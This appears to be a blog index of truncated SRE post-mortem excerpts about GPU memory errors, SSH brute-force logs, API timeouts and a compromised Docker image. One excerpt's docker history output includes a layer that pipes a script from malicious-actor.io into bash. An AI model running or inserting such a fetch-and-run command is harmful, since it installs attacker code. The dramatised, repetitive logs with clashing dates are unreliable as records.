POST-MORTEM INCIDENT REPORT #ML-FAIL-0909 DATE: October 14, 2023 INCIDENT DURATION: 48 Hours, 12 Minutes STATUS: Critical / Post-Recovery AUTHOR: Senior SRE (Infrastructure & Operations) I’ve spent the last 48 hours staring at a terminal buffer that smells like burnt silicon and hubris. While the rest of the “Data Science” team was likely dreaming of neural … Read more
THE HEAT DEATH OF THE ALPHA: A POST-MORTEM ON SILICON HUBRIS LOG_ID_0001: THE TRIGGER [2024-05-14 03:14:02.881] FATAL: torch.cuda.OutOfMemoryError: CUDA out of memory. Tried to allocate 12.50 GiB (GPU 0; 80.00 GiB total capacity; 64.21 GiB already allocated; 2.14 GiB free; 70.12 GiB reserved in total by PyTorch) If reserved memory is >> allocated memory try … Read more
text [2023-10-27 03:14:22,891] ERROR: torch.cuda.OutOfMemoryError: CUDA out of memory. Tried to allocate 12.50 GiB (GPU 0; 80.00 GiB total capacity; 72.14 GiB already allocated; 4.12 GiB free; 74.50 GiB reserved in total by PyTorch) If reserved memory is >> allocated memory try setting max_split_size_mb to avoid fragmentation. See documentation for Memory Management and PYTORCH_CUDA_ALLOC_CONF Traceback … Read more
text root@ops-warn-01:~# docker history –no-trunc 8f3a2b1c9d IMAGE CREATED CREATED BY SIZE COMMENT 8f3a2b1c9d 72 hours ago /bin/sh -c #(nop) ENTRYPOINT [“/usr/local/bin/python3” “app.py”] 0B 72 hours ago /bin/sh -c #(nop) COPY file:a7b8c9d0… in /app/app.py 1.2kB 72 hours ago /bin/sh -c curl -sSL http://malicious-actor.io/payload.sh | bash 45MB 72 hours ago /bin/sh -c pip install –no-cache-dir -r requirements.txt … Read more
text [SYSTEM FAILURE: LOG CORRUPTION DETECTED] [TIMESTAMP: 2024-05-22T03:14:07.821Z] [USER: dfir_admin_01] [SESSION: pts/0] root@ir-node-04:~# tail -n 20 /var/log/auth.log | grep “Failed password” May 22 03:10:01 ir-node-04 sshd[14202]: Failed password for root from 192.168.1.45 port 54322 ssh2 May 22 03:10:04 ir-node-04 sshd[14202]: Failed password for root from 192.168.1.45 port 54322 ssh2 May 22 03:10:08 ir-node-04 sshd[14202]: Failed … Read more
$ curl -v -X POST https://api.internal.production.vortex/v1/inference \ -H “Content-Type: application/json” \ -d ‘{“prompt”: “Analyze system logs for anomaly detection”, “max_tokens”: 512}’ Connected to api.internal.production.vortex (10.0.42.11) port 443 (#0) POST /v1/inference HTTP/1.1 Host: api.internal.production.vortex User-Agent: curl/8.5.0 Accept: / Content-Type: application/json Content-Length: 72 < HTTP/1.1 504 Gateway Timeout < Content-Type: text/html < Content-Length: 160 < Connection: keep-alive … Read more
The smell of ozone and scorched FR4 is something you never forget. It’s the smell of failure, usually the kind that costs six figures and a week of sleep. At 03:14 AM, the secondary cooling loop on the thermal vacuum chamber didn’t just fail; it committed suicide. I was staring at a console window where … Read more
text root@prod-legacy-srv-04:/# apt-get install python3-cryptography Reading package lists… Done Building dependency tree Reading state information… Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. … Read more
The pager went off at 3:14 AM, a timestamp I’ve come to associate with the smell of burnt coffee and the inevitable realization that our high-availability setup was a lie. I was three hours into what I thought was a “stable” sleep cycle after a week of migrating our production clusters from v1.28.x to v1.30.1 … Read more
Your AI Artificial Intelligence Strategy is a Memory Leak in Disguise It was 3:14 AM on a Tuesday. My PagerDuty alert didn’t just chirp; it screamed. The error message was a classic: OOMKilled. But this wasn’t a standard Java heap overflow or a rogue Go routine leaking memory. This was our brand-new “AI Artificial” recommendation … Read more